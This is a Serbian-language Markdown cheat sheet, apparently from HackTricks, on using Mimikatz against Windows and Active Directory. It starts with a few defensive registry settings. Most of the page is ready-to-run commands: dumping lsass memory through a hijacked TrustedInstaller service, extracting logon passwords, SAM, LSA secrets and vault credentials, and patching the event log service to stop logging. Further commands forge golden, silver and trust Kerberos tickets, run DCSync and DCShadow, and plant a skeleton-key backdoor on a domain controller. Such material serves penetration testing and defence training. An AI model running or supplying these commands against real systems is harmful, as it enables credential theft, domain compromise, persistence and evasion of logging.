202 lines
7.9 KiB
Markdown

# Mimikatz
{{#include ../../banners/hacktricks-training.md}}
**Ova stranica se zasniva na jednoj sa [adsecurity.org](https://adsecurity.org/?page_id=1821)**. Proverite original za dodatne informacije!
## LM i Plain-Text u memoriji
Od Windows 8.1 i Windows Server 2012 R2 nadalje, značajne mere su implementirane za zaštitu od krađe kredencijala:
- **LM hash i plain-text lozinke** više se ne čuvaju u memoriji radi poboljšanja bezbednosti. Specifična registracija, _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ mora biti konfigurisana sa DWORD vrednošću `0` da bi se onemogućila Digest Authentication, osiguravajući da "plain-text" lozinke nisu keširane u LSASS.
- **LSA zaštita** je uvedena da zaštiti proces Local Security Authority (LSA) od neovlašćenog čitanja memorije i injekcije koda. To se postiže označavanjem LSASS-a kao zaštićenog procesa. Aktivacija LSA zaštite uključuje:
1. Modifikovanje registra na _HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ postavljanjem `RunAsPPL` na `dword:00000001`.
2. Implementaciju Group Policy Object (GPO) koja sprovodi ovu promenu registra na upravljanim uređajima.
I pored ovih zaštita, alati poput Mimikatz mogu zaobići LSA zaštitu koristeći specifične drajvere, iako su takve akcije verovatno zabeležene u dnevnicima događaja.
### Suprotstavljanje uklanjanju SeDebugPrivilege
Administratori obično imaju SeDebugPrivilege, što im omogućava da debaguju programe. Ova privilegija može biti ograničena da bi se sprečili neovlašćeni dump-ovi memorije, što je uobičajena tehnika koju napadači koriste za vađenje kredencijala iz memorije. Međutim, čak i sa ovom privilegijom uklonjenom, TrustedInstaller nalog može i dalje vršiti dump-ove memorije koristeći prilagođenu konfiguraciju servisa:
```bash
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller
```
Ovo omogućava iskopavanje memorije `lsass.exe` u datoteku, koja se zatim može analizirati na drugom sistemu kako bi se izvukle kredencijali:
```
# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords
```
## Mimikatz Opcije
Manipulacija dnevnikom događaja u Mimikatz-u uključuje dve glavne radnje: brisanje dnevnika događaja i patchovanje Event servisa kako bi se sprečilo beleženje novih događaja. Ispod su komande za izvođenje ovih radnji:
#### Brisanje Dnevnika Događaja
- **Komanda**: Ova radnja je usmerena na brisanje dnevnika događaja, čineći teže praćenje zlonamernih aktivnosti.
- Mimikatz ne pruža direktnu komandu u svojoj standardnoj dokumentaciji za brisanje dnevnika događaja direktno putem komandne linije. Međutim, manipulacija dnevnikom događaja obično uključuje korišćenje sistemskih alata ili skripti van Mimikatz-a za brisanje specifičnih dnevnika (npr. korišćenjem PowerShell-a ili Windows Event Viewer-a).
#### Eksperimentalna Funkcija: Patchovanje Event Servisa
- **Komanda**: `event::drop`
- Ova eksperimentalna komanda je dizajnirana da modifikuje ponašanje Event Logging Servisa, efikasno sprečavajući ga da beleži nove događaje.
- Primer: `mimikatz "privilege::debug" "event::drop" exit`
- Komanda `privilege::debug` osigurava da Mimikatz radi sa potrebnim privilegijama za modifikaciju sistemskih servisa.
- Komanda `event::drop` zatim patch-uje Event Logging servis.
### Kerberos Napadi na Tikete
### Kreiranje Zlatnog Tiketa
Zlatni tiket omogućava pristup domeni pod lažnim identitetom. Ključna komanda i parametri:
- Komanda: `kerberos::golden`
- Parametri:
- `/domain`: Ime domena.
- `/sid`: Sigurnosni identifikator (SID) domena.
- `/user`: Korisničko ime koje se imitira.
- `/krbtgt`: NTLM hash KDC servisnog naloga domena.
- `/ptt`: Direktno ubrizgava tiket u memoriju.
- `/ticket`: Čuva tiket za kasniju upotrebu.
Primer:
```bash
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
```
### Kreiranje Silver Tiket-a
Silver Tiketi omogućavaju pristup specifičnim uslugama. Ključna komanda i parametri:
- Komanda: Slična Golden Ticket-u, ali cilja specifične usluge.
- Parametri:
- `/service`: Usluga koju treba ciljati (npr., cifs, http).
- Ostali parametri slični Golden Ticket-u.
Primer:
```bash
mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit
```
### Kreiranje Trust Tiket-a
Trust Tiketi se koriste za pristup resursima širom domena koristeći odnose poverenja. Ključna komanda i parametri:
- Komanda: Slična Golden Ticket-u, ali za odnose poverenja.
- Parametri:
- `/target`: FQDN ciljnog domena.
- `/rc4`: NTLM hash za račun poverenja.
Primer:
```bash
mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit
```
### Dodatne Kerberos Komande
- **Listing Tickets**:
- Komanda: `kerberos::list`
- Prikazuje sve Kerberos karte za trenutnu korisničku sesiju.
- **Pass the Cache**:
- Komanda: `kerberos::ptc`
- Umeće Kerberos karte iz keš fajlova.
- Primer: `mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit`
- **Pass the Ticket**:
- Komanda: `kerberos::ptt`
- Omogućava korišćenje Kerberos karte u drugoj sesiji.
- Primer: `mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit`
- **Purge Tickets**:
- Komanda: `kerberos::purge`
- Briše sve Kerberos karte iz sesije.
- Korisno pre korišćenja komandi za manipulaciju kartama kako bi se izbegli konflikti.
### Aktivno Direktorijum Manipulacija
- **DCShadow**: Privremeno učiniti mašinu da se ponaša kao DC za manipulaciju AD objektima.
- `mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit`
- **DCSync**: Oponašati DC da zatraži podatke o lozinkama.
- `mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit`
### Pristup Akreditivima
- **LSADUMP::LSA**: Ekstrahovati akreditive iz LSA.
- `mimikatz "lsadump::lsa /inject" exit`
- **LSADUMP::NetSync**: Oponašati DC koristeći podatke o lozinkama računa računara.
- _Nema specifične komande za NetSync u originalnom kontekstu._
- **LSADUMP::SAM**: Pristupiti lokalnoj SAM bazi podataka.
- `mimikatz "lsadump::sam" exit`
- **LSADUMP::Secrets**: Dešifrovati tajne smeštene u registru.
- `mimikatz "lsadump::secrets" exit`
- **LSADUMP::SetNTLM**: Postaviti novi NTLM hash za korisnika.
- `mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit`
- **LSADUMP::Trust**: Preuzeti informacije o poverenju.
- `mimikatz "lsadump::trust" exit`
### Razno
- **MISC::Skeleton**: Umeće backdoor u LSASS na DC.
- `mimikatz "privilege::debug" "misc::skeleton" exit`
### Eskalacija Privilegija
- **PRIVILEGE::Backup**: Steći prava za backup.
- `mimikatz "privilege::backup" exit`
- **PRIVILEGE::Debug**: Dobiti privilegije za debagovanje.
- `mimikatz "privilege::debug" exit`
### Dumpovanje Akreditiva
- **SEKURLSA::LogonPasswords**: Prikazuje akreditive za prijavljene korisnike.
- `mimikatz "sekurlsa::logonpasswords" exit`
- **SEKURLSA::Tickets**: Ekstrahuje Kerberos karte iz memorije.
- `mimikatz "sekurlsa::tickets /export" exit`
### Manipulacija Sid i Token
- **SID::add/modify**: Promeniti SID i SIDHistory.
- Dodaj: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
- Izmeni: _Nema specifične komande za izmenu u originalnom kontekstu._
- **TOKEN::Elevate**: Oponašati tokene.
- `mimikatz "token::elevate /domainadmin" exit`
### Terminalne Usluge
- **TS::MultiRDP**: Omogućiti više RDP sesija.
- `mimikatz "ts::multirdp" exit`
- **TS::Sessions**: Prikazati TS/RDP sesije.
- _Nema specifične komande za TS::Sessions u originalnom kontekstu._
### Vault
- Ekstrahovati lozinke iz Windows Vault.
- `mimikatz "vault::cred /patch" exit`
{{#include ../../banners/hacktricks-training.md}}